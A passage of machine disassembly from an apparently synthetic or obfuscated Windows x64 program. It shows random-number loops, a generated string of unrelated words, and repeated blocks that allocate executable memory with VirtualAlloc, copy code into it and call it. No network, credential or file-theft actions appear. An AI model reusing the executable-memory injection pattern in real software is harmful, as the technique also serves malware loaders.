movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x6d8]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x1ea8]
xor rcx, qword [rbp + 0x1eb0]
mov qword [rbp + 0x1ea8], rcx
mov rax, qword [rbp + 0x1eb8]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
test al, 1
jne 0x14000b70d
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x14000b718
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x1587], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1918]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x2f40]
test bl, 1
jne 0x14000b7bd
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x14000b7dd
lea rcx, [rbp + 0x1918]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x14000b740
sub rdi, 1
jne 0x14000b730
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x153c]
mov r8d, dword [rbp + 0x1538]
lea rdx, [rbp + 0x2f40]
lea rcx, [rbp + 0x1538]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x1587]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1618]
call fcn.1400047a0
sub r14, 1
jne 0x14000a840
lea rcx, [rbp + 0x6e0]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 0x20], rsi
mov rax, qword [rax]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call fcn.140021870
test al, al
js 0x14000a830
movabs rbx, 0xff00ff00ff00ff00
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2be0]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x17a0]
call fcn.140021e60
add dword [rbp + 0x1578], 0xd83
xorps xmm0, xmm0
movups xmmword [rbp + 0x15e0], xmm0
lea rcx, [rbp + 0x15798]
mov qword [rbp + 0x15e8], rbx
mov qword [rbp + 0x15f0], rcx
mov rax, qword [rcx]
xor rax, rbx
mov qword [rbp + 0x15e0], rax
mov qword [rcx], r12
call fcn.140024c3c
mov dword [rbp + 0x5654], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x42d0]
call fcn.1400068a0
mov dword [rbp + 0x1540], 0xffffff9c
mov dword [rbp + 0x1544], 0x64
movups xmmword [rbp + 0x1928], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16f8], xmm0
mov qword [rbp + 0x1708], rax
lea rcx, [rbp + 0x16f8]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x6f0]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x290]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x6f0]
call fcn.1400086c0
lea rcx, [rbp + 0x6f8]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x298]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x6f8]
call fcn.1400086c0
lea rcx, [rbp + 0x700]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x2a0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x700]
call fcn.1400086c0
lea rcx, [rbp + 0x708]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x2a8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2a8]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x2a8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x708]
call fcn.1400086c0
lea rcx, [rbp + 0x710]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x710]
call fcn.1400086c0
lea rcx, [rbp + 0x718]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x2b8]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x2b8]
lea rcx, [rbp + 0x16f8]
call fcn.140022230
nop
lea rcx, [rbp + 0x2b8]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x718]
call fcn.1400086c0
lea rcx, [rbp + 0x23f0]
call fcn.140009fc0
mov qword [rbp + 0x728], 0x64
mov rax, qword [rbp + 0x23f0]
mov qword [rbp + 0x730], rax
lea r8, [rbp + 0x728]
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0xdb0]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2c00]
call fcn.140005020
nop
lea rcx, [rbp + 0x750]
call fcn.140009fc0
mov qword [rbp - 8], rsi
mov rax, qword [rax]
mov qword [rbp], rax
lea rdx, [rbp - 8]
lea rcx, [rbp]
call fcn.140021870
test al, al
jns 0x14000cc07
nop dword [rax]
nop dword [rax + rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1700]
sub rbx, qword [rbp + 0x16f8]
sar rbx, 3
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x16f8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x1544]
mov r8d, dword [rbp + 0x1540]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1540]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ec0], xmm0
mov qword [rbp + 0x1ed0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ec0]
call fcn.140009f70
nop
mov dword [rbp + 0x1638], r12d
mov dword [rbp + 0x163c], 0x19
lea rcx, [rbp + 0x2c00]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2c00]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14000bced
nop dword [rax + rax]
mov r9d, dword [rbp + 0x163c]
mov r8d, dword [rbp + 0x1638]
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1638]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x14000bcc0
mov rcx, qword [rbp + 0x1ec0]
xor rcx, qword [rbp + 0x1ec8]
mov qword [rbp + 0x1ec0], rcx
mov rax, qword [rbp + 0x1ed0]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16c8], xmm0
mov qword [rbp + 0x16d8], rax
lea rcx, [rbp + 0x16c8]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x16c8]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1540]
mov qword [rbp + 0xa00], rax
lea rax, [rbp + 0x42d0]
mov qword [rbp + 0xa08], rax
movups xmm6, xmmword [rbp + 0xa00]
lea rdx, [rbp + 0xdb8]
lea rcx, [rbp + 0x16c8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0x16c8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xdc8]
lea rcx, [rbp + 0x16c8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xdd0]
lea rcx, [rbp + 0x16c8]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ed8], xmm0
mov qword [rbp + 0x1ee8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ed8]
call fcn.140009f70
nop
mov dword [rbp + 0x1a38], 0xffffff9c
mov dword [rbp + 0x1a3c], 0x64
lea rax, [rbp + 0x1a38]
mov qword [rbp + 0x9e0], rax
lea rax, [rbp + 0x42d0]
mov qword [rbp + 0x9e8], rax
movups xmm6, xmmword [rbp + 0x9e0]
lea rdx, [rbp + 0xdd8]
lea rcx, [rbp + 0x16c8]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x16c8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xde8]
lea rcx, [rbp + 0x16c8]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xdf0]
call fcn.140021780
lea rdx, [rbp + 0xdf8]
lea rcx, [rbp + 0x16c8]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xe00]
lea rcx, [rbp + 0x16c8]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x1ed8]
xor rcx, qword [rbp + 0x1ee0]
mov qword [rbp + 0x1ed8], rcx
mov rax, qword [rbp + 0x1ee8]
mov qword [rax], rcx
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1928]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1928]
call fcn.140021f10
movsd qword [rbp + 0x1a48], xmm0
movsd qword [rbp + 0x1a40], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f68], xmm0
mov qword [rbp + 0x1f78], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f68]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ef0], xmm0
mov qword [rbp + 0x1f00], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ef0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x14000bfb9
nop dword [rax + rax]
cmp rax, rbx
je 0x14000bfa6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x14000bf90
jmp 0x14000bfb9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x14000c09f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000bfe2
mov r8, r12
jmp 0x14000c07e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000bff0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1a48]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x1ef0]
xor rcx, qword [rbp + 0x1ef8]
mov qword [rbp + 0x1ef0], rcx
mov rax, qword [rbp + 0x1f00]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x738], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f08], xmm0
mov qword [rbp + 0x1f18], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f08]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000c139
nop
cmp rax, r15
je 0x14000c126
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000c110
jmp 0x14000c139
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000c21f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c162
mov r8, r12
jmp 0x14000c1fe
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c170
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a40]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x1f08]
xor rcx, qword [rbp + 0x1f10]
mov qword [rbp + 0x1f08], rcx
mov rax, qword [rbp + 0x1f18]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1f20], xmm1
mov qword [rbp + 0x1f30], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f20]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x14000c2b9
nop dword [rax]
cmp rax, rbx
je 0x14000c2a6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x14000c290
jmp 0x14000c2b9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x14000c39f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c2e2
mov r8, r12
jmp 0x14000c37e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c2f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x738]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x1f20]
xor rcx, qword [rbp + 0x1f28]
mov qword [rbp + 0x1f20], rcx
mov rax, qword [rbp + 0x1f30]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1f38], xmm1
mov qword [rbp + 0x1f48], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f38]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000c42e
cmp rax, r15
je 0x14000c41b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000c405
jmp 0x14000c42e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000c511
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c457
mov r8, r12
jmp 0x14000c4f0
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c462
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a40]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x1f38]
xor rcx, qword [rbp + 0x1f40]
mov qword [rbp + 0x1f38], rcx
mov rax, qword [rbp + 0x1f48]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1f50], xmm1
mov qword [rbp + 0x1f60], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f50]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14000c59f
cmp rax, r15
je 0x14000c58c
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x14000c576
jmp 0x14000c59f
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14000c68f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000c5c8
mov r8, r12
jmp 0x14000c66e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c5e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1a48]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x1f50]
xor rcx, qword [rbp + 0x1f58]
mov qword [rbp + 0x1f50], rcx
mov rax, qword [rbp + 0x1f60]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x1f68]
xor rcx, qword [rbp + 0x1f70]
mov qword [rbp + 0x1f68], rcx
mov rax, qword [rbp + 0x1f78]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x2c], 3
lea rdx, [rbp + 0x42d0]
lea rcx, [rbp + 0x1928]
call fcn.140021f10
movsd qword [rbp + 0x740], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f80], xmm0
mov qword [rbp + 0x1f90], rax
mov rdx, rsi
lea rcx, [rbp + 0x1f80]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x14000c77d
cmp rax, rbx
je 0x14000c76a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x14000c754
jmp 0x14000c77d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x14000c860
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14000c7a6
mov r9, r12
jmp 0x14000c83f
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000c7b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x2c]
lea rdx, [rbp + 0x740]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x1f80]
xor rcx, qword [rbp + 0x1f88]
mov qword [rbp + 0x1f80], rcx
mov rax, qword [rbp + 0x1f90]
mov qword [rax], rcx
